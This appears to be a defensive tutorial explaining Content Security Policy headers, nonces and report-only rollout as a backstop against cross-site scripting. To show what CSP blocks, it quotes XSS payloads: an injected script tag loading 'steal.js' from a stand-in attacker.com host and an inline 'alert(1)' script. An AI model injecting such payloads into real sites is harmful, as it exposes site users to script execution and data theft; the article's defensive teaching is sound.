Content Security Policy Explained: Locking Down What a Page Can Load
Escaping output stops most cross-site scripting. Content Security Policy is the backstop for when it doesn't — a header that tells the browser exactly what a page is allowed to load and run, so an injected script has nowhere to go even if it makes it onto the page.
Published July 6, 2026Content Security Policy (CSP) is an HTTP response header that declares, explicitly, which sources of scripts, styles, images, fonts, and other resources a page is permitted to load. The browser enforces the policy on the client side: even if an attacker manages to inject a <script> tag into your page through a cross-site scripting hole, CSP can stop the browser from executing it, because the policy simply doesn't allow scripts from wherever that injected tag points to. It's a second layer of defense that assumes your first layer — escaping and sanitizing user input — might have a gap somewhere, which in a codebase of any real size is a reasonable thing to assume.
What a policy actually looks like
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.example.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https://images.example.com;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
Each directive controls one category of resource. script-src restricts where JavaScript can load from; img-src restricts images; connect-src restricts what fetch, XMLHttpRequest, and WebSocket connections can talk to; frame-ancestors controls who's allowed to embed this page in an iframe, which is CSP's answer to clickjacking. default-src is the fallback for any directive you don't specify explicitly. 'self' means "same origin as this page," and it's the value most directives should carry unless there's a specific, named third-party source (a CDN, an analytics endpoint, a payment provider's script) that genuinely needs to load.
Why this actually stops XSS
A reflected or stored XSS vulnerability works by getting attacker-controlled markup into the page's HTML — a comment field that isn't escaped, a URL parameter reflected into the DOM. Without CSP, if that markup includes a <script> tag or an onerror attribute, the browser just runs it, no different from any other script on the page. With a strict policy in place, an injected <script src="https://attacker.com/steal.js"> gets blocked outright, because attacker.com isn't in the allowed list of script sources, and the browser refuses to fetch or execute it. The attacker got their markup onto the page but the payload never runs.
Inline scripts are the trickier case, because a policy without 'unsafe-inline' blocks <script>alert(1)</script> written directly into the HTML too — which is exactly the point, since that's also how most XSS payloads execute, but it means any legitimate inline script in your own templates gets blocked as well. The clean fix is a nonce: the server generates a random token per response, includes it in the CSP header, and stamps the same token onto each legitimate inline script tag.
Content-Security-Policy: script-src 'self' 'nonce-r4nd0mBase64Value';
<script nonce="r4nd0mBase64Value">
initApp();
</script>
The nonce changes on every request, so an attacker injecting a script tag has no way to guess the correct value and their script gets blocked, while your own server-rendered inline scripts, which know the current nonce because the server generated both, execute normally. This is meaningfully stronger than 'unsafe-inline', which allows every inline script indiscriminately and defeats most of what CSP is for.
Rolling it out without breaking your own site
A strict CSP rolled out cold, without checking what the page actually loads, reliably breaks something — a third-party widget, an inline analytics snippet, a font loaded from an unlisted origin. CSP has a report-only mode built for exactly this situation:
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-reports
In report-only mode, the browser doesn't block anything — it evaluates the policy as if enforcing it and sends a JSON report to the given endpoint every time something would have been blocked, which lets you audit real production traffic for violations before switching to actual enforcement. Running report-only for a week or two against real traffic, then reviewing the violation reports and tightening the allowlist, is the standard way to reach a workable policy without a surprise outage from blocking a script nobody remembered the site depended on.
What it doesn't replace
CSP is a mitigation, not a substitute for fixing the underlying injection point, and it works alongside other headers rather than instead of them — it doesn't handle cross-origin resource sharing at all, which is a separate mechanism controlling whether other origins can read responses from your API, not what your own page is allowed to load. A misconfigured or overly permissive policy (broad wildcards, blanket 'unsafe-inline') provides little real protection while giving a false sense of security. The W3C's CSP Level 3 specification and MDN's CSP documentation both maintain current directive references, since new directives get added and old ones get deprecated as browser security models evolve.